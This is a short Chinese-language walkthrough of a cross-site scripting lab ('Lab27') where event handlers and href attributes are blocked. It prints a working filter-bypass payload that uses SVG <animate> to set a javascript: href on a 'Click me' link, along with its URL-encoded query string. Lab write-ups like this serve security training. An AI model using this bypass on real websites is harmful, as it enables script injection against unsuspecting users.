# Cross-site scripting Lab27
本題是事件處理器 (like onclick) 和 `<a href>` 都被封鎖的狀況。
目標:
- 只能使用允許的標籤(像是 SVG 裡的 <animate>)
- 禁止 href 與 JS event handlers
- 必須讓模擬使用者主動點擊
- Payload 必須包含文字 "Click"
一樣先進入網站。

一樣寫一個 URL:
使用 SVG 和 `<animate>`,SVG 是少數在瀏覽器中能繞過一些事件與 `href` 限制的區域,因為:
- `<a>` 內的 `<animate>` 可以對 href 屬性設值。
- 這讓 `<a>` 變成有JavaScript 行為的超連結。
- 點了 `<text>` 就會觸發
```html
<svg>
<a>
<animate attributeName=href values=javascript:alert(1) />
<text x=20 y=20>Click me</text>
</a>
</svg>
```
- `<svg>`:繞過 HTML tag 白名單限制
- `<animate>`:用 `attributeName=href`,把值設為 `javascript:alert(1)`
- `<text>`:模擬出「Click me」按鈕,引誘使用者點擊
合在一起後再用 URL 編碼後:
```url
?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
```


---